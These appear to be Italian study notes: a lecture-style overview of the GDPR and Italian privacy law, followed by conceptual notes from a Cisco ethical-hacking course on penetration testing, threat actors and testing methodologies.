Ovviamente la questione si estende nel tempo perché dalla riservatezza passiamo alla protezione dei dati personali, perché di fronte allo sviluppo tecnologico – è vero che siamo di fronte a dei fattori che ormai sono da tutti considerati come strumenti tecnologici estremamente significativi per la crescita del benessere, per il miglioramento della qualità della vita – ci si è resi conto nel tempo di quanto siano altrettanto capaci di incidere poi negativamente sulle persone, sui diritti fondamentali delle persone, in tutti quei casi in cui il trattamento dei dati delle persone non dovesse essere fatto con le opportune garanzie. Da questo punto di vista il passaggio fondamentale, il cambio di mentalità si ha principalmente con il Codice della privacy che permette appunto questo collegamento molto stretto, questo avvicinamento tra la protezione dei dati personali e i diritti inviolabili, questa concezione di inviolabilità dell’essere umano che è tipicamente costituzionale. Ciò avviene nel Codice della privacy mediante il riconoscimento del diritto alla protezione dei dati che si fonda su due principi fondamentali: il primo principio è quello cosiddetto del livello elevato di tutela, quindi il livello elevato di tutela dei diritti e delle libertà fondamentali dell’individuo, il secondo è il principio di necessità del trattamento di dati che si riferiscono ad una persona. Il Codice della Privacy del 2003 è l’innovazione da questo punto di vista, perché il precedente riferimento normativo che era la legge 675 del 96 si limitava a garantire che il trattamento dei dati delle persone, quindi il trattamento dei dati personali, si realizzasse nel rispetto dei diritti e delle libertà e della dignità delle persone fisiche. Quindi noi nel 96 parliamo di trattamento che deve essere rispettoso dei diritti appunto e delle libertà e della dignità delle persone, però è come se stessimo scindendo i due momenti, invece con il Codice della Privacy del 2003 andiamo a considerare quella stessa protezione dei dati personali come tutela dei diritti, delle libertà e delle dignità dell’individuo. Qui non sono due cose che si affiancano, ma appunto diventa un ragionamento unico.

Il primo principio che guida il codice del 2003 è il principio di elevata tutela. L’elevata tutela comporta che i poteri pubblici si devono impegnare in modo effettivo alla protezione dei dati personali. È importante questa parola impegnare perché si impone uno specifico obbligo di protezione. Quindi non è soltanto una pretesa di astenersi dal generare conseguenze negative alla sfera intima della persona, non è una logica difensiva del diritto, è una logica al contrario positiva, una logica di tutela, è una logica proattiva che impegna verso la disposizione di strumenti di tutela. Per quanto riguarda invece il secondo principio: è il principio di necessità che guida il codice della privacy. Parliamo di principio di necessità nel trattamento dei dati che si traduce nella riduzione al minimo di dati da utilizzare. Quindi la logica è che quando si svolge un’attività di trattamento dei dati personali si deve ridurre il più possibile i dati, la quantità di dati che vengono utilizzati per perseguire la finalità che il trattamento persegue. Quindi utilizzerò soltanto i dati che sono necessari a perseguire le finalità del trattamento. In questo senso capiamo un ulteriore passaggio della differenza tra la vecchia concezione della privacy, quella strettamente connessa alla riservatezza, e la nuova concezione della privacy legata al trattamento dei dati, potendo dire che con la riservatezza siamo di fronte ad un diritto dal contenuto negativo, negativo nel senso di contenuto che è rivolto alla esclusione dei terzi dall’ingresso nella nostra sfera più intima, quindi da qualsiasi ingerenza di terzi nella nostra vita privata. Quindi contenuto negativo nel senso di difensivo. Quando invece parliamo di privacy come trattamento e protezione dei dati personali, parliamo di un diritto che ha un contenuto positivo, è il diritto affinché il trattamento dei dati avvenga in modo corretto, è il dirittoaffinché chi tratta i dati segua delle regole di gestione di questi dati e che chi fornisce i propri dati abbia la possibilità di autodeterminarsi a livello informativo quindi possa autodeterminare il singolo quali, quanti e come debbano circolare i dati che lo riguardano. Quindi contenuto positivo come impegno per chi li tratta e come autodeterminazione informativa per chi subisce il trattamento.

Ora torniamo al contenuto proprio del GDPR. Ovviamente teniamo sempre a mente che il GDPR costituisce per noi il perno su cui si basa tutta la costruzione della visione europea del trattamento dei dati e dello sviluppo dell’economia digitale. Vediamo però adesso qualche aspetto fondamentale del GDPR innanzitutto dal punto di vista del lessico per capire tutta una serie di parole che che troviamo e quindi diremo innanzitutto che cos’è il dato personale. Il dato personale ci viene indicato dall’articolo 4 del GDPR al n.1, come qualsiasi informazione che si riferisca ad una persona fisica identificata o identificabile. Identificabile s’intende quella persona che può essere identificata anche in modo indiretto e quindi attraverso un nome, un numero di identificazione, uno pseudonimo, un identificativo online, oppure attraverso altri elementi del suo fisico o dei suoi geni o altri riferimenti alla sua identità dal punto di vista sociale, culturale, economico o politico, qualsiasi tipo di informazione che ci permetta poi di ricondurre quel dato, quell’informazione a una persona fisica. Quando parliamo invece di trattamento dei dati personali, sempre all’articolo 4 del GDPR, parliamo di qualsiasi operazione, quindi nella nozione di trattamento facciamo rientrare qualsiasi operazione o anche insieme di operazioni che siano applicate ai dati personali. Quindi qualsiasi attività rivolta ai dati personali: può essere un’attività di raccolta, può essere un’attività di registrazione, può essere un’attività di conservazione, un’attività di estrazione, un’attività di uso, di diffusione ma anche di modifica dei dati. Quando si svolge una o più di queste condotte allora siamo di fronte ad un trattamento dei dati. Chi è quindi il titolare del trattamento? il titolare del trattamento può essere una persona fisica, può essere una persona giuridica, un ente, oppure può essere anche una autorità pubblica, ciò che ci interessa è che il titolare del trattamento è il destinatario praticamente di quasi tutti gli obblighi contenuti nel GDPR. Il GDPR presenta un elenco particolarmente significativo di obblighi che sono rivolti proprio ai titolari sempre nella logica di protezione dei dati personali. In particolare, usando un sunto, il titolare del trattamento ha il compito di adottare tutte le misure necessarie alla protezione dei dati delle persone fisiche. La logica dell’adozione di queste misure è ovviamente quella di evitare o comunque di ridurre il più possibile i rischi che i dati vengano persi o ne vengano in possesso terzi non autorizzati. Queste misure sono rivolte al titolare, è il titolare che deve individuare quali siano le migliori modalità con cui proteggere i dati; ovviamente imponendo degli obblighi al titolare del trattamento, il legislatore, come si fa sempre nella produzione normativa, riconosce anche dei diritti all’interessato. Chi è l’interessato? Ogni volta che diremo la parola l’interessato ci stiamo riferendo alla persona i cui dati personali sono trattati. E questi diritti sono tutti diritti attraverso i quali l’interessato può controllare il flusso di informazioni che lo riguardano. In questo modo, quindi, può impedire che il trattamento dei suoi dati possa essere effettuato con modalità tali da ledere la sua sfera morale e la sua sfera personale. Quindi proprio dei diritti riguardanti il momento del trattamento io interessato ho la possibilità, attraverso il GDPR, di incidere rispetto le modalità con cui i miei dati sono trattati dal titolare: ad esempio sono riconosciuti i diritti all’aggiornamento, alcune informazioni che mi riguardano sono modificate e io le voglio aggiornare, modificare, le voglio rettificare, le voglio integrare o le voglio cancellare; non sono più disposto a che i miei dati siano nella disponibilità di un certo titolare quindi li voglio cancellare. La cancellazione dei dati personali è un riferimento importante perché il GDPR riconoscere per la prima volta anche il cosiddetto diritto all’oblio, che però è diverso dalla cancellazione, perché la cancellazione riguarda la situazione in cui i dati che io ho permesso che venissero utilizzati rispetto ad un certo fine non sono più necessari oppure non sono più io interessato a che vengano trattati da quel titolare. Il diritto all’oblio invece, riconosciuto all’articolo 17 del GDPR, è diverso perché riguarda proprio il diritto a far dimenticare informazioni, fatti, che riguardano il mio conto come interessato, quindi l’oblio come diritto a far dimenticare quando magari una certa informazione, un certo fatto non è più di interesse per la collettività e quindi voglio che non venga più fatto circolare nel senso che venga fatto dimenticare; invece la cancellazione riguarda proprio la cancellazione di dati rispetto ad uno specifico, a una specifica attività di trattamento.

Ultimo riferimento importante dal punto di vista di base del GDPR è il consenso. Il consenso è uno dei modi con cui si permette l’attività di trattamento. L’articolo 6 del GDPR fa riferimento proprio alla manifestazione del consenso dell’interessato come base giuridica per il trattamento. Quindi il trattamento da parte del titolare è permesso dal consenso dell’interessato che lo deve manifestare. Il consenso innanzitutto deve essere prestato in forma espressa, sia oralmente che per iscritto, è importante appunto che sia espresso, cioè che si sostanzi in un atto positivo idoneo a manifestare l’intenzione di asserire al trattamento. In ogni caso, la regola importante del consenso è che può essere revocato in qualsiasi momento: posso in qualsiasi momento revocarlo e non devo nemmeno dare una motivazione sulla revoca.

Quali sono però i contenuti di questo consenso? Il consenso affinché sia valido, affinché il consenso possa costituire la fonte di un trattamento di dati personali deve avere 4 caratteristiche che, ovviamente, devono sussistere contemporaneamente, non sono alternative tra loro:

  • la prima caratteristica è che il consenso deve essere inequivocabile. Inequivocabile vuol dire che l’interessato non deve avere alcun dubbio al fatto che con quel consenso permette un trattamento dei dati. Quindi l’inequivocabilità la individuiamo proprio nel nesso tra il consenso e il trattamento. Quindi quella mia manifestazione di consenso deve riguardare un trattamento dei dati personali;
  • il secondo requisito è che il consenso deve essere informato. Informato vuol dire che deve essere un consenso che sia pienamente consapevole dell’attività che verrà svolta. E quindi deve trovarsi l’interessato trovarsi di fronte ad una informativa da parte del titolare che sia comprensibile, facilmente accessibile e resa in un linguaggio chiaro e comprensibile, dal quale emerga appunto tutto ciò, tutte le informazioni necessarie che riguardano il trattamento;
  • il terzo requisito è la specificità, il consenso deve essere specifico, specifico vuol dire che deve essere prestato per ognuna delle finalità del trattamento. Quindi se il trattamento persegue una finalità è specifico di fronte a quella finalità, se il trattamento persegue più finalità individuate dal titolare del trattamento allora il consenso deve essere prestato per ciascuna di queste finalità che il titolare intende svolgere. Il consenso deve essere specifico perché il soggetto interessato deve avere la possibilità di raffigurarsi tutti quelli che potranno essere gli effetti scaturenti dal suo consenso;
  • il quarto elemento è che il consenso deve essere libero. Libero vuol dire che il consenso deve essere prestato in assenza di qualsiasi forma di condizionamento.

Ora possiamo spendere a livello strettamente tecnico-giuridico qualche parola su questo consenso e in particolare sulla natura del consenso perché come abbiamo detto la protezione dei dati personali è un diritto fondamentale. E i diritti fondamentali sono diritti che noi riteniamo diritti assoluti, diritti indisponibili, diritti intrasmissibili, diritti imprescrittibili. Quindi sono i diritti quanto più fortemente riconosciuti alle persone in quanto tali. In questo senso, visto che la protezione dei dati personali è un diritto fondamentale, alcuni autori (il tema è aperto e ci sono diverse prospettive), hanno ritenuto che il trattamento dei dati, anzi il consenso al trattamento dei dati, non ha una valenza dispositiva. Perché? Perché non riguarda una proprietà di cui si dispone e che quindi si cede ma riguarda la persona. Il consenso dell’interessato ha un riferimento che afferisce alla persona in modo costitutivo e quindi il consenso può essere una autorizzazione, può essere un atto di autorizzazione, ma non può avere valenza negoziale come se fosse un contratto e quindi il titolare del trattamento è vero che è legittimato a trattare i dati perché c’è stato il consenso, però i dati secondo questa logica continuano ad essere della persona che ha prestato il consenso. Quindi non c’è una cessione in senso stretto perché i dati col fatto che afferiscono alla persona in modo proprio costitutivo e che afferiscono alla sua sfera personale allora rispetto a questi dati non viene meno la relazione di appartenenza a colui che presta il consenso e quindi l’atto di autorizzazione in questo senso sarebbe un atto che ha il risultato di rendere lecita un’attività che altrimenti sarebbe illecita. D’altra parte ci sono invece altri autori, altri giuristi della dottrina che invece sostengono che il consenso abbia una valenza negoziale, quindi che il dato sia qualcosa che io cedo come cedo un bene. Quindi si parla in questo senso di reificazione dei dati perché io come cedo un bene ceodo i miei dati personali e quindi nel momento in cui presto il consenso cedo i miei dati che entrano nel mercato e circolano nel mercato in quanto beni suscettibili di una loro valutazione economica che quindi poi seguirà le regole del mercato.

Torniamo Regolamento e a tutto ciò che riguarda l’importanza del GDPR proprio come strumento per superare una legislazione nazionale frammentata nell’Unione Europea e quindi poi per superare i profili di incertezza rispetto alla protezione, alla circolazione di dati. Con lo strumento del Regolamento siamo arrivati alla possibilità di incentivare lo sviluppo e la diffusione dei mercati digitali in Europa in generale nell’ottica di creare un po’ quello che è un clima di fiducia rispetto a una circolazione di dati per i cittadini dell’Unione europea. Il GDPR in ciò rende effettivamente chiaro il cambio di mentalità proprio perché la direttiva europea del 95 era una direttiva che aveva una concezione un po’ più statica della protezione della privacy mentre appunto con il Regolamento andiamo verso una considerazione dinamica. Quindi una tutela non solo in riguardo all’utilizzo delle informazioni che ci riguardano e che quindi noi possiamo permettere con il consenso, ma una tutela dinamica proprio perché l’interessato può in qualche modo seguire i dati, seguire la circolazione dei dati che lo riguardano e quindi intervenire a propria protezione in ogni fase della della circolazione che avviene chiaramente sulla Rete. E tornando appunto al GDPR notiamo come questa forma di tutela è tanto significativa che addirittura ci permette di tutelare i nostri dati personali non solo come dicevamo prima nei confronti in generale dei titolari che possono essere soggetti pubblici e soggetti privati ma addirittura a proteggerci dai titolari indipendentemente da stretti limiti territoriali. L’applicazione territoriale del regolamento, che è indicato all’articolo 3 del GDPR, è particolarmente interessante perché l’ambito di applicazione va oltre l’Unione Europea. Quindi, anche se abbiamo un provvedimento normativo UE, abbiamo una tutela che va oltre i confini dell’Unione. L’unica cosa che rileva, quindi, non è il luogo in cui avviene il trattamento dei dati, ma il luogo in cui è stabilito il titolare del trattamento oltre che l’interessato chiaramente, perché se io tutelo con la mia normativa un interessato ovviamente sto parlando del cittadino europeo quindi del cittadino dell’Unione europea e degli Stati membri dell’Unione europea. Però se il cittadino da tutelare europeo e il titolare è stabilito nel senso fisico proprio nell’Unione europea allora io potrò tutelare, potrò esercitare tutti i diritti che sono riconosciuti dal GDPR e potrò imporre al titolare tutti gli obblighi che sono imposti dal GDPR, anche se il trattamento poi avviene fuori dall’Unione europea. Per quanto riguarda gli obblighi imposti ovviamente la tutela sta nel fatto che il titolare che non si dovesse conformare agli obblighi imposti sarà soggetto alle attività del Garante della protezione dei dati personali. Grandi piattaforme digitali o comunque grandi poteri privati, grandi imprese, sono costantemente oggetto di attenzione nella loro attività da parte dei garanti nazionali della protezione dei dati personali, perché poi spesso un singolo cittadino non ha nemmeno gli strumenti per rendersi conto di come i suoi dati sono stati trattati e quindi a questo punto l’attività svolta dal Garante è estremamente rilevante, estremamente significativa a tutela della collettività perché possono poi condurre a delle sanzioni pecuniarie di importi estremamente elevati che costituiscono poi l’unico vero disincentivo alla violazione degli obblighi del GDPR. 

Se è fondamentale, infine, per l’applicazione del GDPR lo stabilimento del titolare nell’Unione europea ci sono casi addirittura in cui non si applica nemmeno questa regola e quindi la disciplina del GDPR si applica anche in mancanza dello stabilimento nel territorio dell’Unione Europea da parte del titolare e questi casi sono due e sono il caso in cui il trattamento di dati personali riguardi l’offerta di beni o la prestazione di servizi agli interessati, anche se l’offerta di beni o la prestazione di servizi avviene in mancanza di un corrispettivo. E poi la seconda ipotesi è quella in cui le attività di trattamento dei dati personali riguardino il monitoraggio dei comportamenti tenuti dagli interessati e ciò ha valore principalmente in tutti quei contesti di trattamento che utilizzi tecniche di profilazione, tecniche di tracciamento delle persone fisiche e che quindi siano delle tecniche che, profilando, tracciando le persone, permettano poi ai titolari del trattamento di adottare delle decisioni riferite a queste stesse persone, analizzare i loro comportamenti, prevedere le loro preferenze che possono essere le loro preferenze di consumo ma anche le loro preferenze personali, in tutti questi casi la portata applicativa del GDPR riguarda addirittura i titolari che non siano stabiliti nell’Unione europea. Questo è un elemento molto caratteristico della legislazione europea che segna la forza di questo strumento di regolazione di cui si è dotata l’Unione nel 2016, secondo una logica per cui se le informazioni, i dati personali delle persone possono circolare come avviene tramite internet a livello globale, allora anche la protezione che voglio fornire ai miei cittadini va oltre i miei limiti territoriali e cerco di estenderla il più possibile anch’essa a livello globale. È un aspetto di attenzione alla privacy estremamente significativo ed esteso e tale aspetto tra l’altro lo ritroviamo anche in quella essere la definizione del dato personale perché la definizione del dato personale è molto ampia. Perché se dico che è qualsiasi informazione con cui posso identificare una persona fisica, con questo sto dando una nozione molto ampia perché qualsiasi informazione vuol dire che se l’informazione la trovo cartacea, informazione alfabetica, numerica, acustica, fotografica, qualsiasi tipo di informazione qualunque sia la forma in cui l’informazione mi viene espressa e attraverso qualsiasi di queste informazioni posso identificare una persona e quindi tutte queste informazioni sono un dato personale, è una nozione estremamente ampia. E qual è la logica, la logica è la stessa di prima quindi così come estendo il più possibile a livello territoriale con una nozione così ampia di dato personale, pure posso estendere la tutela il più possibile perché mi permetto come legislatore europeo, di individuare in futuro tutta una serie di nuove situazioni che nel 2016 non posso considerare perché magari nel 2016 io conosco un livello di raggiungimento delle tecnologie tale per cui posso immaginarmi certe situazioni di tutela, invece così riesco a permettere un’evoluzione dell’applicazione GDPR anche attraverso le nuove situazioni che l’evoluzione tecnologica mi presenterà. Quindi una nozione di dato elastica, un nozione di dato onnicomprensiva e quindi idonea ad adeguarsi poi a tutte le situazioni che in futuro toccheranno la sfera dei dati personali delle persone fisiche perché le innovazioni e tutte le modalità con cui si permette il trattamento dei dati è in costante evoluzione. Pensiamo ora a tutto quello che ovviamente toccherà questa materia la prossima l’entrata in vigore del regolamento sull’intelligenza artificiale. Un tema completamente nuovo ma che costringe il legislatore ovviamente a stare al passo con l’evoluzione tecnologica e quindi queste nozioni ampie e poi questa portata territoriale anche particolarmente estesa permette di far fronte il più possibile all’esigenza di tutela: l’esigenza di tutela della persona che si affianca al bilanciamento degli interessi del mercato legato ai dati personali.

Ethical Hacker

Appunti raccolti durante il relativo corso seguito su Skills for All by Cisco, alla cui piattaforma rimando per il materiale necessario.

Comprendere l’hacking etico e il penetration testing

Introduzione

Il termine hacker etico descrive una persona che agisce come aggressore e valuta il livello di sicurezza di una rete di computer allo scopo di ridurre al minimo i rischi. Il NIST Computer Security Resource Center (CSRC) definisce un hacker come un “utente non autorizzato che tenta o ottiene l’accesso a un sistema informativo”. Sappiamo tutti che il termine hacker è stato utilizzato in molti modi diversi e ha molte definizioni diverse. La maggior parte delle persone che lavorano nel campo della tecnologia informatica si considerano hacker per il semplice fatto che amano armeggiare. Questa ovviamente non è una cosa dannosa. Quindi, il fattore chiave nel definire l’hacking etico rispetto a quello non etico è che quest’ultimo implica intenti dannosi. Il permesso di attaccare o il permesso di testare è fondamentale e ti terrà fuori dai guai! Questo permesso di attacco viene spesso definito “l’ambito” del test (ciò che è consentito e non è consentito testare). Maggiori informazioni su questo argomento più avanti in questo modulo.

Un ricercatore di sicurezza che cerca vulnerabilità in prodotti, applicazioni o servizi web è considerato un hacker etico se rivela responsabilmente tali vulnerabilità ai fornitori o ai proprietari della ricerca mirata. Tuttavia, lo stesso tipo di “ricerca” eseguita da qualcuno che poi sfrutta la stessa vulnerabilità per ottenere l’accesso non autorizzato a una rete/sistema preso di mira verrebbe considerato un hacker non etico. Potremmo addirittura arrivare a dire che qualcuno che trova una vulnerabilità e la rende pubblica senza collaborare con un fornitore è considerato un hacker non etico, perché ciò potrebbe portare alla compromissione di reti/sistemi da parte di altri che utilizzano queste informazioni in modo dannoso.

La verità è che, come hacker etico, utilizzi gli stessi strumenti per individuare vulnerabilità e sfruttare obiettivi utilizzati dagli hacker non etici. Tuttavia, in quanto hacker etico, in genere segnaleresti le tue scoperte al fornitore o al cliente che stai aiutando a rendere la rete più sicura. Cercheresti anche di evitare di eseguire test o exploit che potrebbero essere di natura distruttiva.

L’obiettivo di un hacker etico è quello di analizzare il livello di sicurezza dell’infrastruttura di una rete o di un sistema nel tentativo di identificare ed eventualmente sfruttare potenziali punti deboli rilevati e quindi determinare se è possibile una compromissione. Questo processo è chiamato security penetration testing o hacking etico.

Suggerimento: Hacking is NOT a Crime (hackingisnotacrime.org) è un’organizzazione no-profit che tenta di aumentare la consapevolezza sull’uso peggiorativo del termine hacker. Storicamente, gli hacker sono stati descritti come malvagi o illegali. Fortunatamente, molte persone sanno già che gli hacker sono individui curiosi che vogliono capire come funzionano le cose e come renderle più sicure.

Perché è necessario eseguire un Penetration Testing?

Quindi, perché abbiamo bisogno dei test di penetrazione? Bene, prima di tutto, come persona responsabile della sicurezza e della difesa di una rete/sistema, vuoi trovare ogni possibile percorso di compromissione prima che lo facciano i malintenzionati. Da anni vengono sviluppate e implementate diverse tecniche di difesa (ad esempio antivirus, firewall, sistemi di prevenzione delle intrusioni [IPS], anti-malware). Viene altresì implementata la difesa in profondità come metodo per proteggere e difendere le nostre reti. Ma come facciamo a sapere se queste difese funzionano davvero e se sono sufficienti a tenere lontani i cattivi? Quanto sono preziosi i dati che proteggiamo e stiamo proteggendo le cose giuste? Queste sono alcune delle domande a cui dovrebbe rispondere un penetration test. Se costruisci una recinzione attorno al tuo giardino con l’intento di impedire al tuo cane di uscire, forse deve essere alta solo 1,5 metri. Tuttavia, se la tua preoccupazione non è l’uscita del cane ma l’ingresso di un intruso, allora hai bisogno di una recinzione diversa, una che dovrebbe essere molto più alta di 1,5 metri. A seconda di ciò che stai proteggendo, potresti anche voler del filo spinato sulla parte superiore della recinzione per scoraggiare ancora di più i malintenzionati. Quando si tratta di sicurezza delle informazioni, dobbiamo fare lo stesso tipo di valutazioni sulle nostre reti e sui nostri sistemi. Dobbiamo determinare cosa stiamo proteggendo e se le nostre difese possono resistere alle minacce che vengono loro imposte. È qui che entrano in gioco i penetration testing. La semplice implementazione di un firewall, un IPS, un anti-malware, una VPN, un firewall per applicazioni web (WAF) e altre moderne difese di sicurezza non è sufficiente. È inoltre necessario testarne la validità. E devi farlo regolarmente. Lo sappiamo: le reti e i sistemi cambiano costantemente. Ciò significa che anche la superficie di attacco può cambiare e, in tal caso, è necessario prendere in considerazione la possibilità di rivalutare il livello di sicurezza tramite un penetration test.

Ricerca di carriere nel PenTesting

Penso che sia importante comprendere il panorama occupazionale e i diversi ruoli e responsabilità che includono le professioni di sicurezza informatica. Un buon riferimento generale da esplorare per le descrizioni dei diversi ruoli lavorativi è il Cyber ​​Career Pathways Tool della National Initiative for Cybersecurity Careers and Studies (NICCS). Offre un modo visivo per scoprire e confrontare diversi ruoli lavorativi di questa professione.

Interessante per capire dove si è collocati nel quadro generale della professionalità.

Threat Actors

Prima di poter comprendere in che modo un hacker etico o un penetration tester può imitare un threat actor (attore di minacce o un utente malintenzionato), è necessario comprendere i diversi tipi di autori di minacce. Di seguito sono riportati i tipi più comuni di aggressori.

  • pirati informatici, quelli che spesso, comunemente, vengono chiamati hacker, È sbagliato pensare che i cybercriminali puntino solamente ad eseguire attacchi in grande stile. A fianco di bersagli quali istituti governativi e bancari, sono sempre più oggetto di attacchi informatici anche PMI, liberi professionisti, sino al singolo utente domestico;
  • spie, sabotatori, vandali. Attualmente, diversi Governi si sono dotati delle necessarie capacità per penetrare le reti nazionali degli altri Stati (in uso sia alle autorità pubbliche che ai privati) a fini di spionaggio o per mappare i sistemi potenzialmente oggetto di un futuro attacco. Il vandalo adotta un insieme di azioni al fine di danneggiare o distruggere beni altrui materiali e non, per puro divertimento o incuria. Il sabotatore ha per obiettivo creare danni ad un sistema, dal rallentamento sino al denial of service, per i motivi più vari. È evidente che una netta distinzione tra i due attori non è possibili in quanto agiscono spesso con le medesime modalità e per gli stessi scopi;
  • oltre ai criminali comuni, che si rifanno al modello noto come “cybercrime-as-a-service” di cui si è parlato prima, vi sono organizzazioni criminali che hanno preso coscienza delle potenzialità dei malware andando a creare strutture commerciali efficientemente organizzate, capaci di generare sensibili profitti dalla vendita dei servizi che le botnet sono in grado di offrire;
  • terroristi, è possibile ipotizzare che nel prossimo futuro gruppi terroristici o singoli individui possano impiegare strumenti cibernetici offensivi ed utilizzarli contro obiettivi militari e civili. Si può far rientrare in questa categoria, quella degli attivisti, dal 2013 sempre più spesso si assiste ad una commistione tra finalità cyber criminali e forme di hacktivism. I due ambiti, originariamente distinti per background, finalità e modalità di azione, sempre più spesso trovano conveniente allearsi per raggiungere i propri obiettivi: tipologie di attacco motivate ideologicamente, con intento sostanzialmente dimostrativo, che mirano principalmente a creare un danno d’immagine e/o alla funzionalità temporanea di sistemi e reti;
  • personale interno, ovvero l’ “insider”, cioè il soggetto che all’interno di una organizzazione – pubblica o privata poco importa – può generare situazioni compromettenti la sicurezza o addirittura la sopravvivenza della realtà di appartenenza. L’attenzione è incentrata sia sui soggetti che ora lavorano nell’organizzazione, sia su quelli che hanno interrotto ogni rapporto. Va tenuto nella dovuta considerazione il fatto che l’attenzione agli attacchi informatici deve necessariamente essere rivolta non solo verso l’esterno, ma anche verso l’interno dell’azienda. Un dipendente particolarmente motivato potrebbe creare un danno molto maggiore rispetto a quello di un cyber attaccante, vista la sua conoscenza dell’infrastruttura e degli asset aziendali. A mio parere rappresenta una fra le minacce più gravi: partono in vantaggio rispetto ad un attaccante esterno per la conoscenza delle dinamiche interne, delle infrastrutture, ecc.., hanno già le credenziali di accesso e spesso non vengono revocate in tempo. Esempio italiano Hacking Team;
  • fornitori di servizi, outsourcers, nel 2013 si è assistito all’emergere di una chiara tendenza, per cui gli attaccanti hanno individuato negli outsourcer l’anello più debole da colpire per raggiungere (tipicamente sfruttandone le utenze privilegiate e le connessioni VPN) i loro bersagli primari. Questo fenomeno, data la propensione degli attaccanti a minimizzare gli sforzi, è destinato a crescere in modo esponenziale, dal momento che spesso questi fornitori sono aziende medio-piccole, con una cultura della sicurezza sensibilmente inferiore a quella dei loro grandi clienti, pur avendo di frequente accessi poco o per nulla presidiati alle loro reti ed infrastrutture;
  • dal crimine informatico allo state-sponsored hacking. Lo scenario attuale vede un crescente numero di attacchi informatici caratterizzati da livelli di complessità elevati, determinati dalla proliferazione di hacker al soldo di governi oppure di malware sviluppati dai governi stessi. Se il crimine informatico preoccupa gli esperti di sicurezza, il nation-state hacking non è da meno. La quasi totalità dei governi è intenta nell’ampliamento del proprio arsenale cibernetico.

Exploring Penetration Testing Methodologies

I test di penetrazione vanno ben oltre l’hacking della rete di un cliente. Un approccio casuale porterà a risultati casuali. È importante seguire metodi e standard ben noti per affrontare gli impegni di pentesting in modo organizzato e sistematico.

Dovresti comprendere le principali metodologie e standard documentati in modo da poter creare strategie che attingano ai loro punti di forza. Documentare il tuo approccio con le metodologie e gli standard che hai utilizzato fornisce inoltre responsabilità alla nostra azienda e aiuta a rendere i nostri risultati difendibili nel caso in cui sorgano problemi con i nostri clienti.

Il processo di completamento di un penetration test varia in base a molti fattori. Anche gli strumenti e le tecniche utilizzati per valutare il livello di sicurezza di una rete o di un sistema variano. Le reti e i sistemi oggetto di valutazione sono spesso molto complessi. Per questo motivo, quando si esegue un test di penetrazione è molto facile uscire dal campo di applicazione. È qui che entrano in gioco le metodologie di test.

Perché è necessario seguire una metodologia per i Penetration Test?

Come appena accennato, lo scope creep è una delle ragioni per utilizzare una metodologia specifica; tuttavia, ci sono molte altre ragioni. Ad esempio, quando esegui un test di penetrazione per un cliente, devi dimostrare che i metodi che intendi utilizzare per il test sono collaudati e veri. Utilizzando una metodologia nota, è possibile fornire la documentazione di una procedura specializzata utilizzata da molte persone.

Considerazioni ambientali

Esistono ovviamente diversi tipi di test di penetrazione. Spesso vengono combinati in un ambito più complesso di test; tuttavia, possono anche essere eseguiti come test individuali.

Di seguito è riportato un elenco di alcune delle considerazioni ambientali più comuni per i tipi di test di penetrazione odierni:

Test dell’infrastruttura di rete

Testare l’infrastruttura di rete può significare diverse cose. Ai fini di questi appunti, diciamo che è incentrato sulla valutazione del livello di sicurezza dell’effettiva infrastruttura di rete e su come questa sia in grado di aiutare a difendersi dagli attacchi. Ciò include spesso switch, router, firewall e risorse di supporto, come server e IPS di autenticazione, autorizzazione e contabilità (AAA). Un test di penetrazione sull’infrastruttura wireless può talvolta essere incluso nell’ambito di un test dell’infrastruttura di rete. Tuttavia, verrebbero eseguiti ulteriori tipi di test oltre alla valutazione della rete cablata. Ad esempio, un tester di sicurezza wireless tenterà di entrare in una rete tramite la rete wireless aggirando i meccanismi di sicurezza o violando i metodi crittografici utilizzati per proteggere il traffico. Testare l’infrastruttura wireless aiuta un’organizzazione a determinare i punti deboli nell’implementazione wireless e l’esposizione. Spesso include una mappa termica dettagliata dell’erogazione del segnale.

Test basati sulle applicazioni

Questo tipo di pen test si concentra sui test per individuare i punti deboli della sicurezza nelle applicazioni aziendali. Questi punti deboli possono includere, a titolo esemplificativo, configurazioni errate, problemi di convalida dell’input, problemi di injection e difetti logici. Poiché un’applicazione Web è generalmente creata su un server Web con un database back-end, l’ambito del test normalmente include anche il database. Tuttavia, si concentra sull’accesso al database di supporto attraverso la compromissione dell’applicazione web. Una grande risorsa che menzioniamo più volte in questo libro è l’Open Web Application Security Project (OWASP).

Test di penetrazione nel cloud

I fornitori di servizi cloud (Cloud service providers – CSP) come Azure, Amazon Web Services (AWS) e Google Cloud Platform (GCP) non hanno altra scelta se non quella di prendere molto sul serio le proprie responsabilità in materia di sicurezza e conformità. Ad esempio, Amazon ha creato il modello di responsabilità condivisa per descrivere in dettaglio le responsabilità dei clienti AWS e le responsabilità di Amazon (vedi https://aws.amazon.com/compliance/shared-responsibility-model).

La responsabilità per la sicurezza del cloud dipende dal tipo di modello cloud (software as a service [SaaS], platform as a service [PaaS] o Infrastructure as a Service [IaaS]). Ad esempio, con IaaS, il cliente (cloud consumer) è responsabile di dati, applicazioni, runtime, middleware, macchine virtuali (VM), contenitori e sistemi operativi nelle VM. Indipendentemente dal modello utilizzato, la sicurezza del cloud è responsabilità sia del cliente che del fornitore del cloud. Questi dettagli devono essere elaborati prima della firma di un contratto di cloud computing. Questi contratti variano a seconda delle esigenze di sicurezza del cliente. Le considerazioni includono il ripristino di emergenza, gli accordi sul livello di servizio (service-level agreements – SLA), l’integrità dei dati e la crittografia. Ad esempio, la crittografia viene fornita end-to-end o solo presso il fornitore di servizi cloud? Inoltre, chi gestisce le chiavi di crittografia: il CSP o il client?

Nel complesso, vuoi assicurarti che il CSP disponga degli stessi livelli di sicurezza (logico, fisico e amministrativo) che avresti per i servizi che controlli. Quando esegui test di penetrazione nel cloud, devi capire cosa puoi fare e cosa non puoi fare. La maggior parte dei CSP dispone di linee guida dettagliate su come eseguire valutazioni della sicurezza e test di penetrazione nel cloud. Indipendentemente da ciò, esistono molte potenziali minacce quando le organizzazioni passano a un modello cloud. Ad esempio, anche se i tuoi dati sono nel cloud, devono risiedere in un luogo fisico da qualche parte. Il tuo fornitore di servizi cloud dovrebbe accettare per iscritto di fornire il livello di sicurezza richiesto per i tuoi clienti. Ad esempio, il collegamento seguente include la policy di supporto clienti AWS per il penetration testing: https://aws.amazon.com/security/penetration-testing.

